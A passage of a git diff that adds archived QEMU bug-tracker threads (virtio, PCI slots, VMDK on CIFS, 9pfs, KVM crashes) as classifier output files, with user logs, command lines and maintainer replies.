and mpc8540) give the class code as + PCI_CLASS_PROCESSOR_POWERPC. + While the PCI_HEADER_TYPE field is oddly omitted, + the tables in the "PCI Configuration Header" + section shows a type 0 layout using all 6 BAR + registers (as 2x 32, and 2x 64 bit regions) + + So 997505065dc92e533debf5cb23012ba4e673d387 + seems to be in error. Although there was + perhaps some confusion as the mpc8533 + has a separate PCIe root complex. + With PCIe, a root complex has PCI_HEADER_TYPE=1. + + Neither the PCI host bridge, nor the PCIe + root complex advertise class PCI_CLASS_BRIDGE_PCI. + + This was confusing Linux guests, which try + to interpret the host bridge as a pci-pci + bridge, but get confused and re-enumerate + the bus when the primary/secondary/subordinate + bus registers don't have valid values. + + Signed-off-by: Michael Davidsaver <email address hidden> + Signed-off-by: David Gibson <email address hidden> + + +If I revert 67113c03423a on top of master, vda is correctly detected. + +Thanks for all the help Laurent! I'm new to git so not surre how to 'properly' revert a previous commit on top of master, so I'll google, but if you have some a good link please do send. + +Also, I've heard of the term "bisect" for figuring out at which commit something breaks and if there were some good documentation to spell out the steps to do that for users that aren't, well advanced kernel gurus :D , I'm sure we'd be happy to save you smarter guys time with any mundane testing steps when possible :) thx! + +Not even reverting the patch worked for me, and it's still broken on qemu 5.1. + +For example: + +~/OSS/qemu/ppc-softmmu/qemu-system-ppc -machine mpc8544ds -nographic -cpu e500mc -serial mon:stdio -kernel zImage -initrd rootfs.ird -append 'console=ttyS0,115200' -device e1000,netdev=main -netdev hubport,hubid=0,id=main -net tap,ifname=tap0 -device virtio-balloon-pci -device virtio-rng-pci -device virtio-blk-pci-transitional,drive=drive0 -drive file=disk,if=none,id=drive0,format=raw + +causes the linux kernel to freeze after probing the virtio_blk device: + +virtio_rng: probe of virtio1 failed with error -22 +virtio_blk virtio2: [vda] 131072 512-byte logical blocks (67.1 MB/64.0 MiB) + +Not specifying the virtio-blk-pci device makes the system boot, but still all but the first (e1000) PCI devices seem to not probe. + +It seems I can trace this behavior at least to version 2.4.1, probably even sooner (can't make my linux boot on those, so I'm unsure...). + +After some research, the problem is that mpc8544ds has only 2 PCI slots defined (hw/ppc/mpc8544ds.c -> pmc->pci_nr_slots = 2;). This in turn results in DTB only contain 2 devices in pci@e0008000/interrupt-map. Too bad qemu doesn't complain when more devices are added - the PCI bars seem to be OK, just interrupts are not found by linux, hence the error -22: + +pci 8000:00:13.0: of_irq_parse_pci: failed with rc=-22 + +...and later virtio_rng probe freeze (which freezes linux boot, if a module is not used and probed in different process). + +Changing pci_nr_slots to bigger number (e.g. 4) seems to work just OK, though of course the mpc8544ds simulation is then non-realistic. A cleaner solution is adding PCI-PCI bridge, that seems to work too. + +As a side-note, MSI doesn't seem to work on e500mc neither. Enabling MSI support in kernel seems to cause that virtio-blk-pci device probe freeze in linux, /proc/interrupts shows: + + 19: 0 fsl-msi-224 0 Edge virtio1-config + 20: 0 fsl-msi-224 1 Edge virtio1-req.0 + +Without MSI, legacy IRQ is used and that seems to work OK: + + 17: 743 OpenPIC 3 Level virtio1 + +Alternatively, passing vectors=0 to the virtio device (-device virtio-blk,drive=drive0,vectors=0 -drive ...) does the trick as well. + +That was a fun ride... :-) + +Sorry, above I meant "virtio-blk freeze" (no virtio_rng). But in any case it's obviously not directly related to this bug, so disregard it... Sorry for the noise. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/Documentation](https:/www.qemu.org/)./591666 b/results/classifier/deepseek-1/output/Documentation](https:/www.qemu.org/)./591666 new file mode 100644 index 00000000..4e19e136 --- /dev/null +++ b/results/classifier/deepseek-1/output/Documentation](https:/www.qemu.org/)./591666 @@ -0,0 +1,168 @@ + +broken "pci_add auto storage" + +Doing: +(qemu) pci_add auto storage file=/dev/ram0,if=virtio +Results in: +OK domain 0, bus 0, slot 5, function 0 + +However no device is actually added to the guest. +QEMU: Latest git code (June 9) from git://git.kernel.org/pub/scm/virt/kvm/qemu-kvm.git +(seems to be broken from 0.12.1.2) +KVM: Compiled from git://git.kernel.org/pub/scm/virt/kvm/kvm-kmod.git +checked out (refs/remotes/origin/stable-2.6.32) + +Both guest and host are Ubuntu 9.10 with 2.6.32 kernel. +Guest kernel has ACPI enabled (specifically, the PCI slot detection driver) + +Guest executed with the following parameters: + -boot c -drive file=/home/eranr/kvm_images/ubuntu-9.10-2.6.32-perf.img,if=ide,boot=on -m 4096 -net nic,model=virtio -net tap,ifname=qtap0,script=no -vnc :0 -smp 1,cores=1,threads=0 -monitor tcp:localhost:6001,server,nowait + +Hi Eran, + +Could you lauch "lspci" command on guestOS to see whether there is a new pci device hot-plug in? + +On the other hand, the guestOS need to be configured with "CONFIG_VIRTIO_PCI", otherwise it can not +contain the driver to monitor the virtio-pci device. + +Thanks + +If configure guest kernel correctly, it seems that virtio for block is OK! +Could you help or send me your configure file to have a second check + +Thanks + + +======== version info =============== +QEMU 0.14.50 monitor +host kernel: 2.6.39 +guest kernel: 2.6.32 + + + +======== config file for kernel info =================== +See attachment + +=========Doing on qemu monitor ================ +QEMU 0.14.50 monitor - type 'help' for more information +(qemu) pci_add auto storage file=/dev/ram0,if=virtio +OK domain 0, bus 0, slot 3, function 0 + + +=========Doing on guest console =============== +1. ---see the disk on guest +root@qemux86-64:~# dmesg | grep 'vda' +[ 245.440217] vda: unknown partition table +root@qemux86-64:~# fdisk -l + +Disk /dev/sda: 2147 MB, 2147483648 bytes +255 heads, 63 sectors/track, 261 cylinders +Units = cylinders of 16065 * 512 = 8225280 bytes + +Disk /dev/sda doesn't contain a valid partition table + +Disk /dev/vda: 16 MB, 16777216 bytes +16 heads, 63 sectors/track, 32 cylinders +Units = cylinders of 1008 * 512 = 516096 bytes + +Disk /dev/vda doesn't contain a valid partition table + +2. --- write content to virtio disk + +root@qemux86-64:~# echo 'helloHypervisor' > /dev/vda +root@qemux86-64:~# head /dev/vda +helloHypervisor + + + +=========Doing on host console ============= + +[root@oc8440477808 linux-2.6.39]# head /dev/ram0 +helloHypervisor + + +========= conclusion ==================== +Host get the data which is passed through virtio device on guest. The data is "helloHpervisor" + +So, the kernel version 2.6.32 can support virtio block device with correct +config, especially the following must be choosen: + + +CONFIG_VIRTIO=y +CONFIG_VIRTIO_RING=y +CONFIG_VIRTIO_PCI=y +CONFIG_VIRTIO_BALLOON=y +CONFIG_VIRTIO_BLK=y + + + + + + + + + + +Did you remember to load PCI hotplug modules into the guest? +sudo modprobe acpiphp +sudo modprobe pci_hotplug + + +this is vikas pandey, + +1:would u please give me ur kernel and initrd source to me ..am also trying to add pci and usb device in guest os .. + +2: +i am using qemu and i am abe to run some of kernel image and initrd which is available on qemu site for testing purpose. +now my ami is to connect the host usb and access the content after running iso image or specifing kernel and initrd image on qemu . + +for this task i have followed some procedure which is inlined.... +//************************************************************************************************************************************************************************ + +cat /etc/lsb-release +Host pc discription : +DISTRIB_ID=Ubuntu +DISTRIB_RELEASE=11.04 +DISTRIB_CODENAME=natty +DISTRIB_DESCRIPTION="Ubuntu 11.04" +==>uname -a +Linux vikas-ThinkCentre-A70 2.6.38-8-generic #42-Ubuntu SMP Mon Apr 11 03:31:50 UTC 2011 i686 i686 i386 GNU/Linux + +QEMU emulator version 1.0,1, Copyright (c) 2003-2008 Fabrice Bellard + +fist i have checked with iso images +step 1: +dd of=ubuntuimage bs=1024 seek=10485760 count=0 +step 2: +qemu -hda ubuntuimage -cdrom m1040_wifi.iso -usbdevice host:1e3d:2093 -m 192 -boot d +usb_create: no bus specified, using "usb.0" for "usb-host" +(it is a problem which is not permitting guest os to access completly even media will be detected on console while booting on qemu and we can add usb in qemu but in qemue gues os shelll it is not detecting any where ) +husb: open device 1.6 +husb: config #1 need -1 +husb: 1 interfaces claimed for configuration 1 +husb: grabbed usb device 1.6 +husb: config #1 need 1 +husb: 1 interfaces claimed for configuration 1 +husb: config #1 need 1 +husb: 1 interfaces claimed for configuration 1 +=========>2nd i have used kernel and initrd image +step >qemu-system-arm -kernel zImage.integrator -initrd arm_root.img -hda ubuntuimage -usb -usbdevice host:1e3d:2093 -m 128 +segmantation fault +//******************************************************************************************************************************************** +please suggest me as soon as possible ,and please tell me that is it compulsary that use kvm and libvirt with qemu for using host usb or not.. +because i have also tried alot with libvirt but every time it is having some different -2 error currently error related with libvirt is .. +==>virsh -c qemu:///system list + +virsh: /usr/lib/libvirt.so.0: version `LIBVIRT_0.9.3' not found (required by virsh) +virsh: /usr/lib/libvirt.so.0: version `LIBVIRT_0.9.0' not found (required by virsh) +virsh: /usr/lib/libvirt.so.0: version `LIBVIRT_PRIVATE_0.9.3' not found (required by virsh) +virsh: /usr/lib/libvirt.so.0: version `LIBVIRT_0.9.2' not found (required by virsh + +plese tell me now what should ido... +thanks& regards + + + + +The "pci_add" command has been removed since QEMU 2.3.0, so I guess we can close this bug ... if you still can reproduce the problem with the latest version, please feel free to open this ticket again. + diff --git a/results/classifier/deepseek-1/output/Files/1889033 b/results/classifier/deepseek-1/output/Files/1889033 new file mode 100644 index 00000000..ed3350c4 --- /dev/null +++ b/results/classifier/deepseek-1/output/Files/1889033 @@ -0,0 +1,132 @@ + +qemu-img permission denied on vmdk creation on CIFS share + + +- on a CIFS mount qemu-img claims not to have permissions to write into a file. +- VMDK sparse file creation succeeds +- VMDK Flat file creation create the flat-file, but fails to write the description-file +- VMDK flat file creation succeeds on native linux mount such as ~/tmp or /tmp +- same effect as root or non-root +- same effect with selinux setenforce 0 + +a) I would have expected that the monolithic flat would have created only one large file just like sparse, but it seems to create a description file, in addition to the storing file. +b) I am aware that qemu-img may have problem opening very large files on CIFS, however, this file is not very large + +Windows-10 latest updated 2004 19041.388 +Linux VM, Fedora-32 in Virtualbox 6.1.12 +# rpm -qa | grep qemu-img +qemu-img-4.2.0-7.fc32.x86_64 + +mount options: +mount -t cifs //10.x,x,x/$shname /mnt/hshare -o defaults,username=gana,rw,uid=1000,gid=1000,vers=3.0 + +[root@fedora ~]# cd /mnt/hshare/some/folder/createvmdk/ +[root@fedora createvmdk]# qemu-img create -f vmdk test1.vmdk 100M -o subformat=monolithicFlat +Formatting 'test1.vmdk', fmt=vmdk size=104857600 compat6=off hwversion=undefined subformat=monolithicFlat +qemu-img: test1.vmdk: Could not write description: Permission denied +[root@fedora createvmdk]# ls -l test1*.* +-rwxr-xr-x. 1 gana gana 104857600 Jul 26 23:02 test1-flat.vmdk +-rwxr-xr-x. 1 gana gana 0 Jul 26 23:02 test1.vmdk +[root@fedora createvmdk]# du -k test1*.* +0 test1-flat.vmdk +0 test1.vmdk +# (doesn't seem to be really flat) + +creation in /tmp works +# cd /tmp +[root@fedora tmp]# qemu-img create -f vmdk test1.vmdk 100M -o subformat=monolithicFlat +Formatting 'test1.vmdk', fmt=vmdk size=104857600 compat6=off hwversion=undefined subformat=monolithicFlat +[root@fedora tmp]# ls -l /tmp/test1*.* +-rw-r--r--. 1 root root 104857600 Jul 26 22:43 /tmp/test1-flat.vmdk +-rw-r--r--. 1 root root 313 Jul 26 22:43 /tmp/test1.vmdk +[root@fedora createvmdk]# du -k /tmp/test1*.* +4 /tmp/test1-flat.vmdk +4 /tmp/test1.vmdk + +[root@fedora createvmdk]# cat /tmp/test1.vmdk +# Disk DescriptorFile +version=1 +CID=5f13c13d +parentCID=ffffffff +createType="monolithicFlat" + +# Extent description +RW 204800 FLAT "test1-flat.vmdk" 0 + +# The Disk Data Base +#DDB + +ddb.virtualHWVersion = "4" +ddb.geometry.cylinders = "203" +ddb.geometry.heads = "16" +ddb.geometry.sectors = "63" +ddb.adapterType = "ide" + + +On the other-hand creating a sparse file works +cd /mnt/hshare/some/folder/createvmdk/ +[root@fedora createvmdk]# qemu-img create -f vmdk test2.vmdk 100M -o subformat=monolithicSparse +Formatting 'test2.vmdk', fmt=vmdk size=104857600 compat6=off hwversion=undefined subformat=monolithicSparse +[root@fedora createvmdk]# ls l test2*.* +-rwxr-xr-x. 1 gana gana 65536 Jul 26 22:52 test2.vmdk +[root@fedora createvmdk]# du -k /tmp/test2*.* +12 /tmp/test2.vmdk + +test2.vmdk is a binary file +inside it, located among garbled ascii characters is an embedded VMDK description +```` +# Disk DescriptorFile +version=1 +CID=cf302a20 +parentCID=ffffffff +createType="monolithicSparse" + +# Extent description +RW 204800 SPARSE "test2.vmdk" + +# The Disk Data Base +#DDB + +ddb.virtualHWVersion = "4" +ddb.geometry.cylinders = "203" +ddb.geometry.heads = "16" +ddb.geometry.sectors = "63" +ddb.adapterType = "ide" +``` + +I retract comment "a)I would have expected that the monolithic flat would have created only one large file just like sparse, but it seems to create a description file, in addition to the storing file." + +pdf vmdk_specs-1.pdf "Virtual Disk Format 1.1" (https://www.vmware.com/app/vmdk/?src=vmdk) on page 7, line-34, a note is mentioned that says that is just how it is. +"A virtual disk described as monolithic and flat consists of two files. One file contains the descriptor. The other file is the extent used to store virtual machine data" + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" within the next 60 days (otherwise it will get +closed as "Expired"). We will then eventually migrate the ticket auto- +matically to the new system (but you won't be the reporter of the bug +in the new system and thus won't get notified on changes anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/KVM/1280961 b/results/classifier/deepseek-1/output/KVM/1280961 new file mode 100644 index 00000000..efc67671 --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1280961 @@ -0,0 +1,17 @@ + +editing the file when mount the file system using 9pfs. it will report fsync failed. + + I have get a fsync error when I use the 9pfs on the kvm guest. it appears when I use vi editor and sysbench. I have not found the reason yet. can you tell something about it? the attache is the picture. and there is no any log which I can provide. + + My qemu version is qemu-kvm-0.13.0, and my host linux distributions is 2.6.32-431.el6.x86_64 and the guest vm is the same version which enable 9pfs and 9pnet support. I use the string of "mount -t 9p -o trans=virtio test_mount /tmp/shared/ -oversion=9p2000.L,posixacl" to get the file system. + +resovled it, this is because in the kernel 2.6.32; the 9pfs doesn't implement the fsync function. just back port the code from higher version, can resolve it. + +like this patch + +https://gitorious.org/linux-gemini/mainline/commit/7a4439c406c21b1e900ed497cec1a79d05b38c07 + + + +Closing, as this problem has been resolved according to the last comment. + diff --git a/results/classifier/deepseek-1/output/KVM/1569053 b/results/classifier/deepseek-1/output/KVM/1569053 new file mode 100644 index 00000000..f449ad9e --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1569053 @@ -0,0 +1,46 @@ + +Qemu crashes when I start a second VM from command line + +I am using Qemu on 64 bit x86 platform, operating system ubuntu 14.04. I cloned the latest version of qemu from github and installed on my system. + +I booted the 1st VM with the instruction: + +sudo qemu-system-x86_64 -m 1024 -smp 4 -cpu host -hda /var/lib/libvirt/images/vm1p4.img -boot c -enable-kvm -no-reboot -net none -chardev socket,id=char1,path=/usr/local/var/run/openvswitch/vhost-user1 -netdev type=vhost-user,id=mynet1,chardev=char1,vhostforce -device virtio-net-pci,mac=00:00:00:00:00:01,netdev=mynet1 -object memory-backend-file,id=mem,size=1024M,mem-path=/dev/hugepages,share=on -numa node,memdev=mem -mem-prealloc + +It is was launched successfully. +Then I lanched the second VM with the instruction: + +sudo qemu-system-x86_64 -m 1024 -smp 4 -cpu host -hda /var/lib/libvirt/images/vm1p4-2.img -boot c -enable-kvm -no-reboot -net none -chardev socket,id=char2,path=/usr/local/var/run/openvswitch/vhost-user2 -netdev type=vhost-user,id=mynet2,chardev=char2,vhostforce -device virtio-net-pci,mac=00:00:00:00:00:02,netdev=mynet2 -object memory-backend-file,id=mem,size=1024M,mem-path=/dev/hugepages,share=on -numa node,memdev=mem -mem-prealloc + +Qemu crashed right away. Plea see the log below. + + + +sudo qemu-system-x86_64 -m 1024 -smp 4 -cpu host -hda /var/lib/libvirt/images/vm1p4-2.img -boot c -enable-kvm -no-reboot -net none -chardev socket,id=char2,path=/usr/local/var/run/openvswitch/vhost-user2 -netdev type=vhost-user,id=mynet2,chardev=char2,vhostforce -device virtio-net-pci,mac=00:00:00:00:00:02,netdev=mynet2 -object memory-backend-file,id=mem,size=1024M,mem-path=/dev/hugepages,share=on -numa node,memdev=mem -mem-prealloc +KVM internal error. Suberror: 1 +emulation failure +EAX=000cc765 EBX=00000007 ECX=000cc6ac EDX=0000df00 +ESI=1ff00000 EDI=0000d5d7 EBP=ffffffff ESP=0000f9ce +EIP=d5d70000 EFL=00010012 [----A--] CPL=0 II=0 A20=1 SMM=0 HLT=0 +ES =df00 000df000 ffffffff 00809300 +CS =f000 000f0000 ffffffff 00809b00 +SS =df00 000df000 ffffffff 00809300 +DS =df00 000df000 ffffffff 00809300 +FS =0000 00000000 ffffffff 00809300 +GS =0000 00000000 ffffffff 00809300 +LDT=0000 00000000 0000ffff 00008200 +TR =0000 00000000 0000ffff 00008b00 +GDT= 00000000 00000000 +IDT= 00000000 000003ff +CR0=00000010 CR2=00000000 CR3=00000000 CR4=00000000 +DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 +DR6=00000000ffff0ff0 DR7=0000000000000400 +EFER=0000000000000000 +Code=00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00> 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + +when the second VM crashed,how about first VM? It seems like that you use vhost-user as your backend type.Does the backend of the 1st VM and 2nd VM connect the same switch ? + +Can you still reproduce the problem with the latest upstream version of QEMU and the latest version of the upstream Linux kernel? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/KVM/1589153 b/results/classifier/deepseek-1/output/KVM/1589153 new file mode 100644 index 00000000..b02fbfca --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1589153 @@ -0,0 +1,50 @@ + +qemu-system-x86_64 version 2.5.0 freezes during windows 7 installation in lubuntu 16.04 + +Hi! + +I have been using qemu - kvm for several years in different versions of ubuntu (lubuntu). I am trying to migrate from 15.04 to 16.04 and am having a problem. In particular, on my machine (a samsung series 9 with dual core i7 processor and 8gb ram) the following commands worked in 15.04 but do not work in 15.10 and 16.04. FYI, I tested them on a clean machine, where I have created a 60GB image file in its own partition.. In particular, I am using the command to start installing windows 7 and it works in a clean install of 15.04 (yesterday) but not in 15.10 (yesterday) or 16.04 (the day before). I do not get any error messages in my xterminal when running this and do not know how to check for windows error messages. By not working I mean that after loading files it gets to a windows screen and then stays there forever. + +The command lines used to invoke qemu is: +echo "*** Installing windows 7 virtual machine - Step 2" + + +echo "*** Try command for slow mouse" +export SDL_VIDEO_X11_DGAMOUSE=0 + +sudo qemu-system-x86_64 \ + -enable-kvm \ + -machine pc,accel=kvm \ + -cdrom /home/Archives/Software/OperatingSystems.Windows7HP.64/Windows7HP64_Install.iso \ + -boot d \ + -net nic,macaddr=56:44:45:30:31:34 \ + -net user \ + -cpu host \ + -vga qxl \ + -spice port=5900,disable-ticketing \ + -uuid 8373c3d6-1e6c-f022-38e2-b94e6e14e170 \ + -smp cpus=2,maxcpus=3 \ + -m 6144 \ + -name DrPhilSS9AWin7VM \ + -hda /mnt/Windows7Image/Windows7Guest.img \ + -localtime \ + -k en-us \ + -usb \ + -usbdevice tablet& +sleep 10 +spicy --host 127.0.0.1 --port 5900 + +Have a similar issue though on Ubuntu 14.04 (4.2.0-36-generic #42~14.04.1-Ubuntu) + +We use an automated appliance build process, to create qemu/KVM appliances. + +Ever since qemu 2.0.0+dfsg-2ubuntu1.24 security update, we are getting the same issue as mentioned above (Windows 7 Installation CD - X17-24281.iso, hangs after loading files). + +We had to pin to 2.0.0+dfsg-2ubuntu1.22 to resolve the issue. + + + +Please see http://ubuntuforums.org/showthread.php?t=2325843&p=13499322#post13499322 for a similar discussion and for a workaround. But please note that to the best I can tell it is still a bug. + +Phil + diff --git a/results/classifier/deepseek-1/output/KVM/1686350 b/results/classifier/deepseek-1/output/KVM/1686350 new file mode 100644 index 00000000..5c33a2ce --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1686350 @@ -0,0 +1,52 @@ + +[KVM] The qemu ‘-cpu’ option not have skylake server cpu model + +Environment: +------------------- +KVM commit/branch: bd17117b/next +Qemu commit/branch: cd1ea508/master +Host OS: RHEL7.3 ia32e +Host Kernel:4.11.0-rc3 +Bug detailed description: +---------------------------------- +In latest qemu commit the qemu still not have skylake server cpu model +Reproduce steps: +------------------------- +[root@skl-2s2 ~]# qemu-system-x86_64 -cpu help +Available CPUs: +x86 486 +x86 Broadwell-noTSX Intel Core Processor (Broadwell, no TSX) +x86 Broadwell Intel Core Processor (Broadwell) +x86 Conroe Intel Celeron_4x0 (Conroe/Merom Class Core 2) +x86 Haswell-noTSX Intel Core Processor (Haswell, no TSX) +x86 Haswell Intel Core Processor (Haswell) +x86 IvyBridge Intel Xeon E3-12xx v2 (Ivy Bridge) +x86 Nehalem Intel Core i7 9xx (Nehalem Class Core i7) +x86 Opteron_G1 AMD Opteron 240 (Gen 1 Class Opteron) +x86 Opteron_G2 AMD Opteron 22xx (Gen 2 Class Opteron) +x86 Opteron_G3 AMD Opteron 23xx (Gen 3 Class Opteron) +x86 Opteron_G4 AMD Opteron 62xx class CPU +x86 Opteron_G5 AMD Opteron 63xx class CPU +x86 Penryn Intel Core 2 Duo P9xxx (Penryn Class Core 2) +x86 SandyBridge Intel Xeon E312xx (Sandy Bridge) +x86 Skylake-Client Intel Core Processor (Skylake) +x86 Westmere Westmere E56xx/L56xx/X56xx (Nehalem-C) +x86 athlon QEMU Virtual CPU version 2.5+ +x86 core2duo Intel(R) Core(TM)2 Duo CPU T7700 @ 2.40GHz +x86 coreduo Genuine Intel(R) CPU T2600 @ 2.16GHz +x86 kvm32 Common 32-bit KVM processor +x86 kvm64 Common KVM processor +x86 n270 Intel(R) Atom(TM) CPU N270 @ 1.60GHz +x86 pentium +x86 pentium2 +x86 pentium3 +x86 phenom AMD Phenom(tm) 9550 Quad-Core Processor +x86 qemu32 QEMU Virtual CPU version 2.5+ +x86 qemu64 QEMU Virtual CPU version 2.5+ +x86 base base CPU model type with no features enabled +x86 host KVM processor with all supported host features (only available in KVM mode) +x86 max Enables all features supported by the accelerator in the current host + +The Skylake-Server cpu type was added for either QEMU 3.0 or 3.1, so this bug is fix-released. + + diff --git a/results/classifier/deepseek-1/output/KVM/1734810 b/results/classifier/deepseek-1/output/KVM/1734810 new file mode 100644 index 00000000..e59dcac6 --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1734810 @@ -0,0 +1,48 @@ + +Windows guest virtual PC running abnormally slow + +Guest systems running Windows 10 in a virtualized environment run unacceptably slow, with no option in Boxes to offer the virtual machine more (or less) cores from my physical CPU. + +ProblemType: Bug +DistroRelease: Ubuntu 17.10 +Package: gnome-boxes 3.26.1-1 +ProcVersionSignature: Ubuntu 4.13.0-17.20-lowlatency 4.13.8 +Uname: Linux 4.13.0-17-lowlatency x86_64 +ApportVersion: 2.20.7-0ubuntu3.5 +Architecture: amd64 +CurrentDesktop: ubuntu:GNOME +Date: Tue Nov 28 00:37:11 2017 +ProcEnviron: + TERM=xterm-256color + PATH=(custom, no user) + XDG_RUNTIME_DIR=<set> + LANG=en_US.UTF-8 + SHELL=/bin/bash +SourcePackage: gnome-boxes +UpgradeStatus: No upgrade log present (probably fresh install) + + + +Any news or fixes? + +Which command line parameters are passed to QEMU? Is your system able to use KVM (e.g. did you enable virtualization support in your BIOS)? + +I am constantly running Windows 10 and Windows Server 2016 and I don't experience specific slowdowns. + +QEMU command line is needed to understand the specific setup that might be problematic. + +If you don't provide the CLI parameters, there's no way we can help here, sorry. So marking this as "invalid" for the QEMU project. + +Windows installs are still acting abnormally slow on the latest Gnome Boxes flatpaks in Ubuntu 18.10. +I'll try to get my CLI parameters and add it to the bug. + +Sorry if this sounds dumb, where do I find my CLI Parameters for my Windows VM? + +Jeb, if you open a bug against QEMU here, we expect some information how QEMU is run. If you only interact with Gnome Boxes, then please only open a bug against Boxes - best in their Bug tracker here: https://bugzilla.gnome.org/ ... I guess nobody of the Boxes project is checking Launchpad, so reporting Boxes bugs here in Launchpad does not make much sense. + +At least please try to answer my questions in comment #3: Is virtualization enabled in your BIOS? Is KVM enabled on your system (i.e. are the kvm.ko and kvm_intel.ko or kvm_amd.ko modules loaded)? + +And for the CLI parameters, you could run this in a console window for example, after starting your guest: + +ps aux | grep qemu + diff --git a/results/classifier/deepseek-1/output/KVM/1777301 b/results/classifier/deepseek-1/output/KVM/1777301 new file mode 100644 index 00000000..e9450d81 --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1777301 @@ -0,0 +1,66 @@ + +Boot failed after installing Checkpoint Pointsec FDE + +Boot failed after installing Checkpoint Pointsec FDE + + +Hi, +I installed Windows 10 64-bit guest on CentOS 7. Everything works great as expected. +However after installing CheckPoint AlertSec full disk encryption, the guest failed to boot. + +The following error is displayed in qemu log file. +KVM internal error. Suberror: 1 +emulation failure + + + + + +Installed Software +[root@sesamvmh01 qemu]# yum list installed | grep qemu +ipxe-roms-qemu.noarch 20170123-1.git4e85b27.el7_4.1 @base +libvirt-daemon-driver-qemu.x86_64 3.9.0-14.el7_5.5 @updates +qemu-guest-agent.x86_64 10:2.8.0-2.el7 @base +qemu-img-ev.x86_64 10:2.3.0-29.1.el7 @qemu-kvm-rhev +qemu-kvm-common-ev.x86_64 10:2.3.0-29.1.el7 @qemu-kvm-rhev +qemu-kvm-ev.x86_64 10:2.3.0-29.1.el7 @qemu-kvm-rhev + +# uname -r +3.10.0-862.3.2.el7.x86_64 + +CPU info: +processor : 0..3 +vendor_id : GenuineIntel +cpu family : 6 +model : 30 +model name : Intel(R) Xeon(R) CPU X3430 @ 2.40GHz +stepping : 5 +microcode : 0x7 +cpu MHz : 1200.000 +cache size : 8192 KB +physical id : 0 +siblings : 4 +core id : 0 +cpu cores : 4 +apicid : 0 +initial apicid : 0 +fpu : yes +fpu_exception : yes +cpuid level : 11 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 sse4_2 popcnt lahf_lm tpr_shadow vnmi flexpriority ept vpid dtherm ida +bogomips : 4799.98 +clflush size : 64 +cache_alignment : 64 +address sizes : 36 bits physical, 48 bits virtual +power management: + +Please also check attached logs. I am new to qemu-kvm so please don't hesitate to ask missing info. + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/KVM/1794950 b/results/classifier/deepseek-1/output/KVM/1794950 new file mode 100644 index 00000000..407744a2 --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1794950 @@ -0,0 +1,90 @@ + +qemu hangs when guest is using linux kernel 4.16+ + +I have been using qemu on daily basis 5+ years in order to do btrfs development and testing and it always worked perfectly, until I upgraded the linux kernel of the guests to 4.16. With 4.16+ kernels, when running all the fstests (previously called xfstests), the qemu process hangs (console unresponsive, can't ping or ssh the guest anymore, etc) and stays in a state Sl+ according to 'ps'. + +This happens on two different physical machines, one running openSUSE tumbleweed (which I don't access at the moment to check kernel version) and another running xubuntu (tried kernels 4.15.0-32-generic and vanilla 4.18.0). Using any kernel from 4.16 to 4.19-rc5 in the guests (they use different debian versions) makes qemu hang running the fstests suite (after about 30 to 40 minutes, either at test generic/299 or test generic/451). + +I tried different qemu versions, 2.11.2, 2.12.1 and 3.0.0, and it happens with all of them (all built from the sources available at https://www.qemu.org/download/#source). + +I built 3.0.0 with debug enabled, using the following parameters for 'configure': + +--prefix=/home/fdmanana/qemu-3.0.0 --enable-tools --enable-linux-aio --enable-kvm --enable-vnc --enable-vnc-png --enable-debug --extra-cflags="-O0 -g3 -fno-omit-frame-pointer" + +And captured a coredump of the qemu process, available at: + +https://www.dropbox.com/s/d1tlsimahykwhla/core_dump_debug.tar.xz?dl=0 + +the stack traces of all threads, for a quick look: + +https://friendpaste.com/zqkz2pD0WgSdeSKITHPDf + +qemu is being invoked with the following script: + +#!/bin/bash -x + +sudo modprobe tun +sudo modprobe kvm +sudo modprobe kvm-intel + +sudo tunctl -t tap5 -u fdmanana +sudo ifconfig tap5 up +sudo brctl addif br0 tap5 + +sudo umount /mnt/tmp5 +sudo mkdir -p /mnt/tmp5 +sudo mount -t tmpfs -o size=14G tmpfs /mnt/tmp5 +for ((i = 2; i <= 7; i++)); do + sudo qemu-img 